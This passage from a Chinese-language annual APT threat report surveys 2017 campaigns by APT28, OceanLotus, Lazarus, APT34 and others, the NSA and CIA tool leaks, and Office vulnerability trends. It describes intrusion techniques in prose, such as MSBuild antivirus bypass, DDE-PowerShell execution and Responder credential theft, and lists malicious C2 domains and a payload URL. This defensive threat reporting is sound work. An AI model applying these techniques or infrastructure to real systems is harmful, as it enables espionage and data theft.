| 鱼叉邮件 | 卡巴斯基 | 2014年 | 2017年9月
**摩诃草**
**APT-C-09**
| 鱼叉邮件
水坑攻击
| norman | 2009年 | 2018年2月
**APT-C-12** | 鱼叉邮件 | 360 | 2014年 | 2017年10月
**APT-C-56** | 鱼叉邮件 | 360 | 2014年 | 2018年2月
**APT-C-58** | 鱼叉邮件
渗透
| 360 | 2011年 | 2017年12月
表3 针对中国境内目标攻击的部分APT组织活动情况
结合360威胁情报中心的大数据监测以及相关机构研究报告，我们给出了2017年部分APT组织主要活跃时间的分析（精确到月），详见下图。
### APT攻击的时空分布
根据360威胁情报中心的统计显示（不含港澳台地区）：2017年，国内受APT攻击最多的地区是辽宁和北京，其次是山东、江苏、上海、浙江和广东。关于APT攻击在中国境内的分布情况，详见下图（不含港澳台地区）。
下图给出了2017年以来，APT攻击影响中国境内用户数量的月度分布情况，3月和11月是APT组织比较活跃的两个月份。
## 部分APT组织攻击技术发展
### APT-28
APT28又名Sofacy，Strontium，Fancy
Bear，Sednit等。为了统一起见，本文中统一使用APT28。2017年各家安全厂商披露了多起APT28组织的活动。下表给出了关于APT28部分行动的总结。其中，Seduploader是APT28组织的一个专用的木马程序，DealersChoice是一个Flash漏洞利用工具。
**攻击**
**目标**
| **披露**
**时间**
| **披露**
**机构**
| **攻击** **手法** | **载荷投递**
**方式**
| **投递载荷**
**内容**
---|---|---|---|---|---
**法国大选候选人马克龙** | 2017.5 | ESET，FireEye | 鱼叉攻击 | Office和Windows的0day漏洞 |
Seduploader
**欧洲和中东地区的酒店** | 2017.8 | FireEye | 鱼叉攻击 | VBA脚本EternalBlue漏洞 |
EternalBlue漏洞利用工具
开源Responder工具
**CyCon** **参会人员** | 2017.10 | Cisco Talos | 鱼叉攻击 | VBA脚本 | Seduploader
**欧洲与美国政府机构和航空航天私营部门** | 2017.10 | Proofpoint | 鱼叉攻击 | Flash Nday漏洞 |
DealersChoice
**未公开** | 2017.11 | McAfee | 鱼叉攻击 | DDE技术 | Seduploader
表4 2017年安全厂商披露的APT28组织部分活动
此外，2017年1月，FireEye发布了报告《APT28: At The Center for The
Storm》。FireEye在报告中认定著名的APT28组织为俄罗斯政府支持的黑客组织。并称一年以来APT28的变化不仅表明了其技能的提升，资源的丰富和对维持作战能力的渴望，而且突出了集团使命的长久性以及在可预见的将来继续其活动的意图。
2017年12月，ESET发布了报告《Sednit update: How Fancy Bear Spent the
Year》，对APT28的攻击方式进行了一些总结。综合其他一些关于APT28的研究成果可以发现，APT28在目标系统上获得初始立足点的方式主要有三种：
* **Sedkit**
Sedkit是APT28独家使用的一个漏洞攻击工具包，主要包含Flash和Internet
Explorer中的漏洞，首次被发现时的使用方法是通过水坑攻击将潜在的受害者重定向到恶意页面。在此之后，APT28首选的方法是将恶意链接嵌入到发送给目标的电子邮件中。
2016年10月是最后一次发现Sedkit被使用。Sedkit的消失遵循了其它漏洞攻击工具包中看到的趋势：它们都依赖于老版本的Adobe
Flash和Internet
Explorer中的漏洞实现恶意程序的下载。2016年包括Sednit在内的大部分漏洞攻击工具包使用次数的下降可能是因为Microsoft和Adobe软件的安全性不断增强。
* **DealersChoice**
2016年8月，Palo Alto
Networks发布了一篇关于APT28使用的新平台的博客。这个被称为DealersChoice的平台能够生成嵌入了Flash漏洞的恶意文档。这个平台有两个变种。第一个变种会检查系统上安装了哪个Flash
Player版本，然后选择三个不同的漏洞中的一个进行攻击。第二个变种则会首先连接C2服务器（Command &
Control服务器，指木马程序的控制端或控制木马的服务器），该服务器将提供选定的漏洞利用和最终的恶意负载。
APT28今天仍然在使用这个平台，其针对欧洲与美国的政府机构和航空航天私营部门的攻击，就是在DealersChoice平台上使用了一个新的Flash
Nday漏洞（Nday漏洞是指软件厂商已经提供了补丁的安全漏洞，但使用者可能由于各种原因并未给软件打上相关补丁）。这表明这个平台仍在使用，并在不断发展。
* **宏，VBA和DDE**
除了传统的宏和VBA（Visual
Basic的一种宏语言）之外，APT28在针对法国大选的攻击中也利用了Windows内核和Office的0day漏洞（软件厂商尚未提供补丁的安全漏洞）。2017年10月，SensePost（一家欧洲安全公司）发布了一篇关于DDE（Dynamic
Data Exchange，动态数据交换）的文章，其中介绍的相关方法在11月就被APT28用于攻击中。
木马程序Seduploader仍然被APT28频繁使用。Seduploader由两个不同的组件组成：一个dropper（一种木马程序），一个是由该dropper安装的负载。在2017年4月，Seduploader的新版本增加了一些新功能，例如截图功能或从C2服务器直接加载到内存中执行。2017年底，Seduploader
dropper被投递Seduploader 负载的PowerShell命令所取代。
### 海莲花（APT-C-00）
基于对样本及更多其他来源数据的整合分析和历史活动的长期跟踪，360威胁情报中心发现海莲花团伙活动的一些变化：
* **木马对抗性更强更复杂**
海莲花先后使用过多种形态的专用木马，虽然均是以窃取感染目标电脑中的机密数据为目的，但从攻击原理和攻击方式来看，却有着很大的区别。特别是针对Windows系统的专用木马，其出现时间有先有后，危险程度不断升级，攻击方式从简单到复杂、从本地到云控，可以让我们清楚的看到该组织木马的技术发展脉络和攻击思路的不断转变。我们将其分别命名为：海莲花
Tester，海莲花 Encryptor，海莲花 Cloudrunner，海莲花 MAC等。
在2017年360威胁情报中心截获的样本中，部分较新的恶意代码利用了系统白程序MSBuild.exe来执行恶意代码以绕过查杀。这种加载恶意代码的方式本质上与利用带正常签名的PE程序加载位于数据文件中的恶意代码的方法相同。原因在于：一、MSBuild是微软的进程，不会被杀软查杀，实现防病毒工具的Bypass；二、很多Win7电脑自带MSBuild，有足够大的运行环境基础，恶意代码被设置在XML文件中，以数据文件的形式存在不易被发现明显的异常。除了通常的可执行程序附件Payload以外，360威胁情报中心还发现了利用CVE-2017-8759漏洞和Office
Word机制的鱼叉邮件。
在2017年11月截获的最新样本中，我们发现样本捆绑了Firefox浏览器等程序执行了多个阶段的ShellCode，资源文件加密运行时解密下一阶段的ShellCode，采用白利用过杀软的方式，并且代码中还加入大量花指令和乱序，对抗能力进一步增强。
* **攻击面收窄更具针对性**
与去年相比，海莲花团伙的攻击活动面有所收窄，但攻击目标的针对性加强，鱼叉邮件的社工特性突出，体现为对攻击目标的深度了解。有用户反馈到威胁情报中心的样本使用了如下的附件名：
invitation letter-zhejiang ***** working group.doc
星号是非常具体的目标所在组织的简称，目标人物在浙江省，所以附件名里加了zhejiang字样，暗示这是完全对目标定制的攻击木马。这体现了攻击者对攻击目标的专注度。
* **服务器更加隐蔽更难追踪**
为了隐藏自己的真实身份，海莲花组织经常变换下载服务器和C2服务器的域名和IP。而且大多数域名为了抵抗溯源都开启了Whois域名隐藏，使得分析人员很难知道恶意域名背后的注册者是谁。在2017年11月最新的样本中还使用了DGA算法以进一步逃避检测。
DGA算法，即Domain Generation
Algorithms，译为域名生成算法，是一种利用随机字符来生成C2服务器域名，从而逃避域名黑名单检测的技术手段。如，某些木马会向随机生成的成千上万个域名发送消息，但其中只有极少数会真正被攻击者使用，并用来完成后续攻击环节。不过在APT攻击中，DGA算法一般不会生成海量域名，但却会时常根据算法动态更换新的域名，这就大大增加了安全分析人员定位有效服务器难度。
此外，在海莲花组织的最新攻击中，攻击者对采用的网络基础设施也做了更彻底的隔离，使之更不容易做关联溯源分析。在以往的攻击活动中，海莲花组织所使用的IP偏爱193.169.*.*网段。但2017年截获的海莲花组织新近样本中，其使用的相关IP地址与既往IP几乎没有重叠，非常“干净”。这就导致分析人员需要耗费更大的精力去对抗加强后的样本以获取关联点，追踪溯源的难度进一步加大。
* **即使暴露仍瞄准高价值客户**
海莲花攻击者似乎不甘心丢掉之前已经攻陷的“目标”而选择“卷土重来”。例如，对之前已经攻击过的目标会进行反复攻击，发送新版本的鱼叉邮件，并尝试再次获取控制。
在处理用户反馈的过程中，我们发现：尽管某些曾经遭到海莲花攻击的高价值用户的电脑已经进行了特殊保护，清除了以往感染的海莲花组织专用木马，但他们还是会不断遭到海莲花组织的攻击，如收到新的鱼叉邮件，受到新型专用木马的攻击。
此外，在某些仍然被控制着的电脑终端上，海莲花组织的攻击者也会通过推送新的木马程序，将木马的C2服务器转换到新的IP或域名下。
所有上述现象均表明，海莲花组织攻击的“持续性”之强：没有暴露，未被发现的情况下，就要保证持续更新；已经暴露，已被发现的情况下，也还要继续不断的攻击。如此猖獗的攻击，在APT组织中并不多见。
## APT组织对特定地域的攻击
如果说，2016年APT组织的攻击主要体现在对金融、工业和政治这三大领域的攻击；那么，2017年，APT组织的攻击则主要体现在对欧美、东亚和中东三大地区的攻击。
### 针对欧美地区的攻击
#### APT28针对法国大选的攻击
2017年5月ESET发布报告称发现APT28干扰法国总统大选。一个名为Trump’s_Attack_on_Syria_English.docx的文档引起了研究人员的注意。
打开这份文档后首先会触发EPS漏洞CVE-2017-0262（Office的Encapsulated
PostScript图形文件漏洞）。多次解密后，Seduploader病毒释放器就会被加载并予以执行。为了部署Seduploader，Seduploader病毒释放器通过利用内核漏洞CVE-2017-0263获取了系统权限。对于这种“EPS漏洞＋内核漏洞”组合的利用值得关注。
#### APT28针对欧洲酒店行业的攻击
2017年8月FireEye发布报告称发现APT28使用NSA工具（例如Eternalblue漏洞利用工具）监听欧洲及中东地区的酒店。恶意文档Hotel_Reservation_Form.doc包含一个宏，该宏使用base64解码一个dropper，然后部署APT28的恶意软件GameFish，使用mvband.net和mvtband.net作为C2服务器。
APT28使用EternalBlue漏洞利用工具和开源工具Responder进行横向传播，并可能针对旅行者。一旦进入酒店公司的网络，APT28就找出了控制客人和内部WiFi网络的机器。在2016年秋季发生的一起单独事件中，APT28通过可能从酒店WiFi网络窃取的证书初步获取了受害者的网络。
在获得连接到酒店和访客WiFi网络的机器后，APT28部署了Responder，使得NetBIOS名称服务（NBT-NS）中毒。这种技术会侦听来自受害者计算机尝试连接到网络资源的NBT-NS（UDP
/137）广播。一旦收到，攻击者就会伪装成受害者正在寻找的资源，并使受害者计算机将用户名和散列密码发送给攻击者控制的机器。APT28使用这种技术来窃取用户名和散列的密码升级在受害者网络中的权限。
为了通过酒店公司的网络传播，APT28使用了EternalBlue
SMB漏洞的一个版本与大量使用py2exe编译的Python脚本相组合。这是APT28组织第一次被发现将这个漏洞利用到了他们的入侵中。
在2016年的事件中，受害人在连接酒店WiFi网络后受到攻击。受害者最初连接到公众可用的WiFi网络十二个小时之后，APT28以窃取的凭证登录到机器。这12个小时可能已经被用于离线破解密码。攻击者成功访问机器后，在机器上部署工具，通过受害者的网络横向传播，访问受害者的OWA（Outlook
Web App）帐户。登录来自同一子网上的计算机，这些攻击手法都表明攻击者机器在物理上距离受害者很近，并在同一 WiFi网络上。
#### APT28借“纽约恐袭事件”的攻击
2017年11月McAfee发布报告称在监控APT28的过程中发现其利用Microsoft
Office动态数据交换（DDE）技术的恶意文档，并且借10月份美国纽约恐怖袭击事件作为吸引受害者注意力的诱饵。比如本次攻击中发现的诱饵文档有一个文件名称直接命名为：IsisAttackInNewYork.docx。
在技术上，APT28通过将PowerShell与DDE结合使用，无论是否启用宏，攻击者都能够在受害者系统上执行任意代码。
报告显示，被发现的诱饵文档内容是空白的，它利用DDE技术通过Windows的命令行命令去执行PowerShell脚本，PowerShell脚本所下载的木马负载和被APT28用于CyCon安全大会的木马负载几乎是相同的。CyCon
是北约联合防御中心（CCDCOE）和西点军校网络研究所合办的安全会议，报告显示，10月初，APT28 对 CyCon的参会人员发动鱼叉攻击。
### 针对东亚地区的攻击
#### 海莲花针对东亚国家的攻击
2017年11月6日，国外安全公司发布了一篇据称海莲花APT团伙新活动的报告，360威胁情报中心对其进行了分析和影响面评估，并提供了处置建议。
攻击者通过水坑攻击将恶意JavaScript代码植入到合法网站，收集用户浏览器指纹信息，修改网页视图诱骗用户登陆钓鱼页面安装下载恶意软件。
我们通过关联分析定位到一个相关的恶意样本。执行该样本可以看到安装了Firefox浏览器，实际上它还偷偷执行了加载恶意代码的操作。ShellCode和后面的木马负载都加入了大量的垃圾代码和无用跳转。ShellCode主要是使用Windows一些加解密机制解密出三个如下图所示的文件落地到磁盘并创建相关的服务。
rastlsc.exe带有赛门铁克的签名，它会加载rastls.dll。rastls.dll如法炮制解密出SyLog.bin，从而执行管理相关注册表项，获取硬盘信息，获取系统版本，计算机名等恶意行为。C2服务器通信部分是通过获取计算机信息生成字符串与.harinarach.com、.maerferd.com和.eoneorbin.com拼接成一个完整的域名，连接其25123端口实现C2服务器通信。
#### Lazarus针对韩国三星手机用户的攻击
2017年11月McAfee和Palo Alto Networks的安全专家都表示Lazarus将黑手伸向了移动设备。一款名为“갓피플
성경통독”的应用程序被上传到了Google Play商店，模仿由GODpeople（一家位于韩国首尔的安卓应用程序开发商）开发的韩语版圣经应用程序。
该恶意程序实际上它包含了一个ELF后门文件，允许攻击者完全控制受感染的设备。这个文件与Lazarus在之前使用的几个文件十分相似。另外，它的C2服务器列表包括先前与Lazarus关联的IP地址。Palo
Alto Networks更是指出这起活动似乎针对了韩国的三星移动设备用户。
### 针对中东地区的攻击
#### APT34针对中东政府的攻击
2017年12月FireEye发布报告称发现APT34利用刚刚修复的CVE-2017-11882攻击中东政府。下图是专用木马中漏洞利用的部分，可以看到漏洞利用成功后，木马调用mshta.exe从<http://mumbai-m.site/b.txt>下载恶意的脚本。
木马使用DGA算法与C2服务器通信，并且具有多种远控功能。
在过去几个月中，APT34已经能够迅速利用至少两个公开漏洞（CVE-2017-0199和CVE-2017-11882）针对中东的机构发起攻击。
#### BlackOasis针对中东地区的攻击
2017年10月Kaspersky发布报告称BlackOasis利用Adobe
0day漏洞CVE-2017-11292传播间谍软件FinSpy。攻击利用Office文档，以电子邮件作为载体发送，文档中嵌入包含 Flash
漏洞的ActiveX对象。
Flash对象中包含的ActionScript代码使用，和其它传播FinSpy的漏洞利用一样的自定义packer提取出exploit。漏洞利用成功后将在内存中获得任意读写操作权限，从而执行下一阶段的ShellCode。下一阶段的ShellCode下载FinSpy的最终木马负载和显示给受害者的诱饵文件，然后执行木马并显示诱饵文件。
#### 双尾蝎组织针对巴以两国的攻击
2017年3月，360威胁情报中心发布追日团队的研究报告《双尾蝎组织（APT-C-23）伸向巴以两国的毒针》。报告显示，2016年5月起至今，双尾蝎组织对巴勒斯坦教育机构、军事机构等重要领域展开了有组织、有计划、有针对性的长时间不间断攻击。攻击平台包括Windows与Android，攻击范围主要为中东地区。截至报告发布时，360威胁情报中心一共捕获了Android样本24个，Windows样本19个，涉及的C&C域名29个。
双尾蝎组织的专用木马主要伪装成文档、播放器、聊天软件以及一些特定领域常用软件，通过鱼叉或水坑等攻击方式配合社会工程学手段进行渗透，向特定目标人群进行攻击。入侵成功后攻击者开始窃取目标系统中的各类文档资料并且进行实时监控。
该组织的相关恶意可执行程序多为“.exe”和“.scr”扩展名，但是这些程序都伪装成doc、xls文档图标，并且文件中还包含一些用以迷惑用户的文档。
该组织在诱饵文档命名时也颇为讲究，如“الاجهزة الامنية”（安全服务）、“Egyptian Belly Dancer Dina Scandal,
Free Porn”（肚皮舞者Dina丑闻，色情），此类文件名容易诱惑用户点击。
该组织的Android端后门程序功能主要包括定位、短信拦截、电话录音等，并且还会收集文档、图片、联系人、短信等情报信息；PC端后门程序功能包括收集用户信息上传到指定服务器、远程下载文件以及远控。
360威胁情报中心将APT-C-23组织命名为双尾蝎，主要是考虑了以下几方面的因素：一是该组织同时攻击了巴勒斯坦和以色列这两个存在一定敌对关系的国家，这种情况在以往并不多见；二是该组织同时在Windows和Android两种平台上发动攻击。虽然以往我们截获的APT组织中也有一些进行多平台攻击的例子，如海莲花，但绝大多数APT组织攻击的重心仍然是
Windows平台。而同时注重两种平台，并且在Android平台上攻击如此活跃的APT组织，在以往并不多见。第三个原因就是蝎子在巴以地区是一种比较有代表性的动物。综上，根据360威胁情报中心对APT组织的命名规则（参见《2016年中国高级持续性威胁研究报告》），我们命名APT-C-23组织为“双尾蝎”。
#### 黄金鼠组织针对叙利亚的攻击
2018年1月，360威胁情报中心发布追日团队的研究报告《黄金鼠组织（APT-C-27）叙利亚地区的定向攻击活动》，报告显示，从2014年11月起至今，黄金鼠组织对叙利亚地区展开了有组织、有计划、有针对性的长时间不间断攻击。攻击平台从开始的Windows平台逐渐扩展至Android平台。截至报告发布时，一共捕获了Android平台攻击样本29个，Windows平台攻击样本55个，涉及的C2服务器域名9个。
黄金鼠组织的活动最早可以追溯到
2014年11月。研究显示，其Android和PC平台的恶意样本主要伪装成聊天软件及一些特定领域常用软件，通过水坑攻击方式配合社会工程学手段进行渗透。
2015年7月，叙利亚哈马市新闻媒体在Facebook上发布了一则消息，该条消息称带有“土耳其对叙利亚边界部署反导弹系统进行干预，详细信息为<http://www.gulfup.com/?MCVlNX>”的信息为恶意信息，并告诫大家不要打开信息中链接，该链接为黑客入侵链接，相关C2服务器IP地址为31.9.48.183。哈马市揭露的这次攻击行动，就是我们在
2016年6月发现的针对叙利亚地区的APT攻击。从新闻中我们确定了该行动的攻击目标至少包括叙利亚地区，其载荷投递方式至少包括水坑式攻击。
该组织在PC与Android端间谍软件主要伪装成Telegram等聊天软件，并通过水坑等攻击方式配合社会工程学手段进行渗透。相关恶意可执行程序多为“.exe”和“.scr”扩展名，但是这些程序都伪装成Word、聊天工具图标，并通过多种诱导方式诱导用户中招。
攻击者针对PC平台使用了大量的攻击载荷，包括Multi-stage
Dropper、njRAT、VBS脚本、JS脚本、Downloader等恶意程序，此类恶意程序多为远控，主要功能包括上传下载文件、执行Shell等。
Android端后门程序功能主要包括定位、短信拦截、电话录音等，并且还会收集文档、图片、联系人、短信等情报信息。
攻击者在诱饵文档命名时也颇为讲究，如“حمص تلبيسة قصف بالهاون”（炮击霍姆斯），此类文件名容易诱惑用户点击。
360威胁情报中心将APT-C-27组织命名为黄金鼠，主要是考虑了以下几方面的因素：一是该组织在攻击过程中使用了大量的资源，说明该攻击组织资源丰富，而黄金鼠有长期在野外囤积粮食的习惯，字面上也有丰富的含义；二、该攻击组织通常是间隔一段时间出来攻击一次，这跟鼠类的活动习性有相通的地方；三是黄金仓鼠是叙利亚地区一种比较有代表性的动物。因此，根据360威胁情报中心对APT组织的命名规则（参见《2016年中国高级持续性威胁研究报告》），我们命名APT-C-27组织为“黄金鼠”。
## 网络军火民用化
2017年5月份，永恒之蓝勒索蠕虫病毒（WannaCry）肆虐全球，导致150多个国家，30多万受害者遭遇勒索软件攻击，医疗、交通、能源、教育等行业领域遭受巨大损失。该勒索软件之所以有如此大的威力，主要是其借助了黑客组织Shadow
Brokers（影子经纪人）在网络上公开的，据称是美国国家安全局（NSA）旗下方程式组织（Equation
Group）所开发的网络武器，即军火级的网络漏洞利用工具。黑客分子拿着军用武器，冲入民用设施，扫荡所到之处，破坏与掠夺之惨烈可想而知。以永恒之蓝为代表的这一波漏洞利用武器库的大规模试水，标志着网络军火进入民用化的阶段，也使业界和公众进一步加深对APT攻击与威胁的认识和理解。
从公开资料看，2017年泄露的网络武器库的最终源头主要有两个，一个是据称是NSA旗下的方程式组织，另一个据称是美国中情局（CIA）直属的网络情报中心。下面我们通过介绍与NSA、CIA这两大情报机构相关的网络武器库外泄事件，具体分析网络军火民用化威胁与趋势。
### 疑似NSA网络武器工具外泄
影子经纪人最早在2016年8月就开始对外兜售据称是NSA的网络武器或攻击工具。该组织自称获得了方程式组织的网络武器，并在GitHub公开拍卖。随后，斯诺登则隔空响应了影子经纪人的判断，公开了NSA绝密文档中几处技术细节，包括使用相同的DanderSpritz攻击框架，采用同一个MSGID追踪代码，证实NSA攻击工具与方程式组织攻击武器属于同源软件。
影子经纪人兜售的武器与斯诺登曝光的NSA武器细节特征完全吻合
2016年11月-12月，在拍卖邀请函无人问津，且被GitHub删去之后，影子经纪人并不罢休，而是直接泄露被方程式组织攻破的目标系统IP、域名及其单位名称，并继续以比特币方式售卖上述武器。于是，大量的.cn域名、中国的大学、科研院所出现在被公布的清单上。
2017年1月当Shadow
Brokers打包售卖网络武器再一次失败后，它决定改变商业模式，由批发转零售。开始在ZeroBin网站上较小批量销售黑客工具。在1月11日以750比特币（当时价值$
675,000）的价格打算出售一批能够绕过杀毒软件的Windows黑客工具。13日放出了一批免费的黑客工具，根据一些安全研究人员公布的数据显示，它包含61个Windows黑客工具，其中一些可以绕过杀毒软件的检测。尽管下载链接很快被关闭，但不可避免很多已经迅速泄露到互联网。
2017年4月8日，影子经纪人在medium.com博客网站上发表博文，其中公开了曾经多次拍卖失败的方程式组织Equation
Group的黑客工具包——EQGRP-Auction-Files，允许任何人都可以去解密这个文件，获取其中的一些有价值的东西。
2017年4月14日，影子经纪人再次公布了NSA的一批攻击武器，包括永恒之蓝、永恒王者、永恒浪漫、永恒协作、翡翠纤维、古怪地鼠、爱斯基摩卷、文雅学者、日食之翼和尊重审查等十几款漏洞利用工具。这些都是攻击Windows各组件系统（例如SMB协议、IIS组件、邮件系统等）、极为精巧高效的漏洞利用工具。这批攻击工具利用一个专门的框架平台，对任意的Windows操作系统，不管是什么版本，也不管是哪年的版本，基本上都能进行普适性的网络攻击，自由调配相应的网络攻击，瞄准漏洞即精确实施攻击，可谓武器化程度非常高。
尽管研制开发这些工具的具体年份尚不清楚，但从斯诺登曝光的标记为2008年的文件显示，美国包括NSA在内的情报组织，有可能已经长达数年在持续利用这些高级攻击武器。
而永恒之蓝利用的漏洞，微软刚刚在2017年3月份发布MS17-010补丁文件予以修复，但对于全球安装量极大，约占世界市场70%份额的Windows计算机来说，很难在短时期内完成全部的补丁部署，特别是很多专用系统和隔离网络的补丁安装更加困难。这也是后来5月份WannaCry病毒大肆爆发的直接原因。
这批被泄露的网络武器说明，NSA若干年前就已经掌握了Windows系统的许多漏洞信息，但微软的各国用户一直没有得到任何关于漏洞的信息。也就是说，全球无数台电脑在修复该漏洞之前，是否被NSA武器攻击过，只有NSA的人才清楚。
自2017年6月开始，影子经纪人持续“开闸放货”，声称每月都将定期提供数据泄露服务，逐月出售包括浏览器、路由器、手机等漏洞及相关工具、以及SWIFT供应商和目标国央行入侵等数据。
### 疑似CIA网络武器项目曝光
2017年3月，据《纽约时报》报道，“维基揭秘”网站发布了被认为属于美国中情局（CIA）的8700余份秘密文件，维基揭秘将这些数据命名为“7号军火库”（Vault
7），其中包括大量网络武器、网络黑客行动的细节信息。
泄露的文件显示，CIA组织策划了500余个网络攻击项目，每个项目都附带各自的子项目、恶意软件和黑客工具。项目针对的目标操作系统从微软Windows到苹果iOS，再到Android、Linux，甚至包括互联网节点路由器操作系统等，范围十分广泛。CIA的黑客工具不仅能入侵智能手机、PC终端，而且还可以渗透并控制汽车电子系统、智能电视系统。
中情局雇佣大批计算机网络顶尖技术人员，配合各个项目、行动持续进行武器研发。根据新华社报道，截止2016年底，CIA直属的网络情报中心拥有超过5000名员工，总共设计了超过1000个木马、病毒和其他“武器化恶意代码”。而2017年，从特朗普政府大幅提高军事预算的政策倾向看，CIA从事网络武器库开发人员数量会大幅增加。
CIA部分网络武器采用的是国际合作方式开发。例如英国的军事情报机构军情五处也参与其中。根据2013年斯诺登曝光的文件显示，美国和英国、加拿大、澳大利亚、新西兰等国组成的“五眼联盟”，对全球范围内展开情报收集与共享活动，因此不排除其他三个国家也参与其网络武器库的研发。
根据公开资料发现，CIA开发的一些网络武器，在命名上非常具有欺骗性。比如一款名为“精致美食”的黑客工具，貌似一款普通的打广告的推广软件而已。而“蜂房”也看似一个无害的程序，但实际可以攻击互联网路由器，建立被感染设备之间的通讯链路。
关于这些网络武器是否已经流入民用领域，维基解密表示：中情局对其黑客武器库已经“失控”，其中大部分工具“似乎正在前美国政府的黑客与承包商中未被授权地传播”，存在“极大的扩散风险”。
总之，从安全角度看，武器库的泄露致使大量高精尖的攻击性恶意程序，散播到开放的互联网，给一般的黑客、网络不法分子可乘之机，利用这些武器级工具肆意渗透系统、窃取数据信息、破坏信息基础设施等，将给广大普通互联网用户带来巨大危害，WannaCry就是最典型的代表。而且武器级工具和普通的恶意软件、渗透工具等结合，让很多攻击行为同时具备高级攻击手段和一般手段的特性，增加了犯罪分子的隐蔽性，也会干扰监测识别高级威胁。某种程度上，抬升了安全研究者的门槛，增加了APT的防控难度，网络安全企业任重道远。
## APT攻击技术热点与发展趋势
### OFFICE 0day漏洞成焦点
Office漏洞的利用，一直APT组织攻击的重要手段。2017年中，先后又有多个高危的Office漏洞被曝出，其中很大一部分已经被APT组织所使用。Office
0day漏洞已经成为APT组织关注的焦点。
下表给出了2017年新披露的部分Office漏洞及其被APT组织利用的情况。：
**CVE** **编号** | **漏洞类型** | **披露厂商** | **0day** **利用情况** | **Nday** **利用情况**
---|---|---|---|---
**CVE-2017-0261** | EPS中的UAF漏洞 | FireEye | 被Turla和某APT组织利用 | 摩诃草
**CVE-2017-0262** | EPS中的类型混淆漏洞 | FireEye，ESET | APT28 | 不详
**CVE-2017-0199** | OLE对象中的逻辑漏洞 | FireEye | 被多次利用 | 被多次利用
**CVE-2017-8570** | OLE对象中的逻辑漏洞
(CVE-2017-0199的补丁绕过)
| McAfee | 无 | 不详
**CVE-2017-8759** | .NET Framework中的逻辑漏洞 | FireEye | 被多次利用 | 被多次利用
**CVE-2017-11292** | Adobe Flash Player类型混淆漏洞 | Kaspersky | BlackOasis | APT28
**CVE-2017-11882** | 公式编辑器中的栈溢出漏洞 | embedi | 无 | Cobalt，APT34
**CVE-2017-11826** | OOXML解析器类型混淆漏洞 | 奇虎360 | 被某APT组织利用 | 不详
表5 Office 0day漏洞
借此我们也对APT攻击中常见的Office漏洞利用情况进行了分类总结：
* 逻辑型漏洞
逻辑型漏洞并不是2017年独有的。CVE-2014-4114、CVE-2014-6352(沙虫漏洞及补丁绕过)、CVE-2015-0097都曾名噪一时。
CVE-2017-0199是OLE对象中的逻辑漏洞，并且补丁也存在问题，从而导致了CVE-2017-8570的出现。所幸的是CVE-2017-8570最早由安全研究人员发现，并没有出现0day利用。此外，CVE-2017-8759是.NET中的逻辑漏洞，同样影响Office，这也是Office的复杂性带来的问题。它们原理简单，易于构造，触发稳定，深受APT组织的青睐。
* 内存破坏型漏洞
**Flash**
从2015年6月至今，卡巴斯基发现仅仅BlackOasis就利用了至少4个Flash
0day漏洞：CVE-2015-5119，CVE-2016-0984，CVE-2016-4117和CVE-2017-11292。不过千疮百孔的Flash
2020年以后就会正式淘汰，之后的利用应该会逐渐减少。
**EPS** **（Encapsulated Post Script)**
对于像CVE-2015-2545，CVE-2017-0261和CVE-2017-0262这样的漏洞来说，由于能够执行EPS脚本，所以具有极强的灵活性。Office
2010以后微软采取了在沙盒中解析EPS文件的方式进行缓解，但是仍然无法阻止攻击者结合内核提权漏洞绕过。2015年FireEye揭露了CVE-2015-2545＋CVE-2015-2546的野外利用，也就是一个EPS漏洞＋一个内核提权漏洞。
ESET曝光的APT28
使用CVE-2017-0262和CVE-2017-0263对法国大选进行攻击的同一天，FireEye也发布博客对Turla、APT28使用该模式的0day漏洞组合攻击做了说明，组合方式是EPS漏洞(CVE-2017-0261、CVE-2017-0262)和内核提权漏洞(CVE-2017-0001、CVE-2017-0263、CVE-2016-7255)。
2017年，360威胁情报中心也监控到了摩诃草组织从2017年11月至12月初的多起活跃攻击，发现摩诃草组织在2017年下半年跟进使用了CVE-2017-0261＋CVE-2016-7255的组合。2017年4月的补丁中微软禁用了EPS以彻底解决该类问题，不过相关利用可能仍然会流行一段时间。
* 其它
除了上面所述的这些比较特殊的漏洞，近几年APT攻击常用的Office漏洞中除了CVE-2014-1761（RTF解析中的数组越界）巧妙地通过特定的RTF控制字来精确控制内存以至于在没有利用堆喷射的情况下就非常准确可靠地获得程序控制流之外，从CVE-2013-3906（TIFF解析中的整数溢出）第一次发现0day野外利用中ActiveX喷射的技巧开始，CVE-2015-1641（RTF解析中的类型混淆）、CVE-2016-7193（RTF解析中的数组越界）
、CVE-2017-11826（OOXML解析中的类型混淆）等等无一例外都靠这种方法来获得对EIP的控制，效果很不稳定，所需要的时间也比较长。
这些漏洞都很难写出全版本通用的EXP，同时还要通过msvcr71.dll，msvbvm60.dll等没有开启ASLR的模块绕过ASLR，Office
2013以后已经强制将没有开启ASLR模块的dll地址随机化，要想在Office 2013及更高版本上成功利用更是难上加难。
在这样的情况下CVE-2017-11882这个稳定通杀所有Office版本和所有Windows版本的漏洞就显得十分宝贵了，在十七年前编译好的EQNEDT32.EXE没有采用任何漏洞缓解措施，POC公布后就出现包括Cobalt和APT34在内的多个组织的利用，这也是历史遗留代码带来的问题。
虽然我们谈的这些漏洞很多跟OLE（Object Linking and
Embedding，对象连接与嵌入）看上去没有什么关系，但是它们大都通过嵌入或者链接OLE对象来实现利用。2015年BlackHat上Haifei Li
和Bing Sun做了题为Attacking Interoperability:An OLE
Edition的演讲，对历史Office漏洞的原因做了深度探讨。总体来说，OLE机制在Office中提供了巨大的攻击面。
除了传统的宏和VBA之外，DDE（Dynamic Data
Exchange，动态数据交换）技术也是2017年的热词。DDE允许Office应用程序从其他程序中加载数据。利用这种属性可以在Office应用程序中加载执行恶意代码。尽管微软一开始并不打算修复，但还是在2017年12月的补丁中禁用了DDE协议。该攻击方法虽然需要用户交互，但是由于安全意识的缺乏，依然有大量用户中招。2017年APT28就利用DDE技术和纽约恐袭事件发动了攻击。
我们还注意到APT28、APT34、摩诃草等组织利用了多个Nday。所以，及时更新补丁还是非常重要的。未来除了新的0day之外，像CVE-2017-11882，CVE-2017-0199，CVE-2017-8759等原理简单，易于构造，触发稳定的漏洞将会成为APT组织的首选。
### 恶意代码复杂性的显著增强
2017年，在高级攻击领域，听到最多的一个病毒不是WannaCry，而是FinSpy（又名FinFisher或WingBird）。CVE-2017-0199、CVE-2017-8759、CVE-2017-11292等多个漏洞都被用来投递FinSpy。FinSpy的代码经过了多层虚拟机保护，并且还有反调试和反虚拟机等功能，复杂程度可见一斑。此外，在2017年，海莲花专用木马的复杂性和对抗性也都明显增强。
